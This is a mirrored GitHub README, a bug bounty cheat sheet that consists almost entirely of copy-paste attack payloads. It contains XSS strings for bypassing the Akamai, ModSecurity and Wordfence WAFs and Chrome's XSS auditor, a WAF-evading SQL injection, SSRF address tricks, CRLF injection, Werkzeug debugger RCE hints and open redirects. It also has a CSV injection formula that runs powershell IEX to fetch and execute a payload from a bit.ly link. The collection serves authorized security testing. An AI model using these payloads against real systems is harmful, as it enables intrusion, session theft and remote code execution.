mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2024-11-25 04:20:19 +00:00

Mirror of https://github.com/EdOverflow/bugbounty-cheatsheet

Find a file

GerbenJavado 93cb8004dd Update README.md		2017-07-14 10:23:54 +02:00
README.md	Update README.md	2017-07-14 10:23:54 +02:00

README.md

Bug Bounty Cheat Sheet

XSS

Chrome XSS-Auditor Bypass by Masato Kinugawa

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Kona WAF (Akamai) Bypass

\');confirm(1);//

ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS Bypasses

<meter onmouseover="alert(1)"

'">><div><meter onmouseover="alert(1)"</div>"

>><marquee loop=1 width=0 onfinish=alert(1)>

jQuery < 3.0.0 XSS by Egor Homakov

$.get('http://sakurity.com/jqueryxss')

URL verification bypasses (works without 	 too)

javas&#x09;cript://www.google.com/%0Aalert(1)

Markdown XSS

[a](javascript://www.google.com%0Aprompt(1))

SQLI

Akamai Kona Bypass

MID instead of SUBSTRING
LIKE instead of =
/**/ instead of a space
CURRENT_USER instead of CURRENT_USER()
" instead of '

Final example:

444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#

SSRF

http://0177.1/

http://0x7f.1/

https://520968996

Note: The latter can be calculated using http://www.subnetmask.info/

Exotic Handlers

gopher://, dict://, php://, jar://, tftp://

IPv6

http://[::1]

http://[::]

CRLF Injection || HTTP Response Splitting

%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

CRLF Injection to XSS

%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

CSV Injection

Newline character

%0A-3+3+cmd|' /C calc'!D2

Meterpreter Shell

=cmd|'/C powershell IEX(wget bit.ly/1X146m3)'!A0

LFI

Filter Bypass

"../\", " ..\/", "/.." & "\/.."

RCE

Werkzeug Debugger

Find somewhere where user input can be supplied and submit the following string to cause an error:

strіng

If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: ***-***-***.

Open Redirect

/%09/google.com

/%5cgoogle.com

//www.google.com/%2f%2e%2e

//www.google.com/%2e%2e

Crypto

MD5 Collision Strings

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

URL decode strings.

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

SHA-1 Collision Strings

%25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F%54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69%6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%52%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F%6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31%20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4C%97%E1%FF%FE%01%73%46%DC%91%66%B6%7E%11%8F%02%9A%B6%21%B2%56%0F%F9%CA%67%CC%A8%C7%F8%5B%A8%4C%79%03%0C%2B%3D%E2%18%F8%6D%B3%A9%09%01%D5%DF%45%C1%4F%26%FE%DF%B3%DC%38%E9%6A%C2%2F%E7%BD%72%8F%0E%45%BC%E0%46%D2%3C%57%0F%EB%14%13%98%BB%55%2E%F5%A0%A8%2B%E3%31%FE%A4%80%37%B8%B5%D7%1F%0E%33%2E%DF%93%AC%35%00%EB%4D%DC%0D%EC%C1%A8%64%79%0C%78%2C%76%21%56%60%DD%30%97%91%D0%6B%D0%AF%3F%98%CD%A4%BC%46%29%B1

%25%50%44%46%2D%31%2E%33%0A%25%E2%E3%CF%D3%0A%0A%0A%31%20%30%20%6F%62%6A%0A%3C%3C%2F%57%69%64%74%68%20%32%20%30%20%52%2F%48%65%69%67%68%74%20%33%20%30%20%52%2F%54%79%70%65%20%34%20%30%20%52%2F%53%75%62%74%79%70%65%20%35%20%30%20%52%2F%46%69%6C%74%65%72%20%36%20%30%20%52%2F%43%6F%6C%6F%72%53%70%61%63%65%20%37%20%30%20%52%2F%4C%65%6E%67%74%68%20%38%20%30%20%52%2F%42%69%74%73%50%65%72%43%6F%6D%70%6F%6E%65%6E%74%20%38%3E%3E%0A%73%74%72%65%61%6D%0A%FF%D8%FF%FE%00%24%53%48%41%2D%31%20%69%73%20%64%65%61%64%21%21%21%21%21%85%2F%EC%09%23%39%75%9C%39%B1%A1%C6%3C%4C%97%E1%FF%FE%01%7F%46%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2%56%0B%45%CA%67%D6%88%C7%F8%4B%8C%4C%79%1F%E0%2B%3D%F6%14%F8%6D%B1%69%09%01%C5%6B%45%C1%53%0A%FE%DF%B7%60%38%E9%72%72%2F%E7%AD%72%8F%0E%49%04%E0%46%C2%30%57%0F%E9%D4%13%98%AB%E1%2E%F5%BC%94%2B%E3%35%42%A4%80%2D%98%B5%D7%0F%2A%33%2E%C3%7F%AC%35%14%E7%4D%DC%0F%2C%C1%A8%74%CD%0C%78%30%5A%21%56%64%61%30%97%89%60%6B%D0%BF%3F%98%CD%A8%04%46%29%A1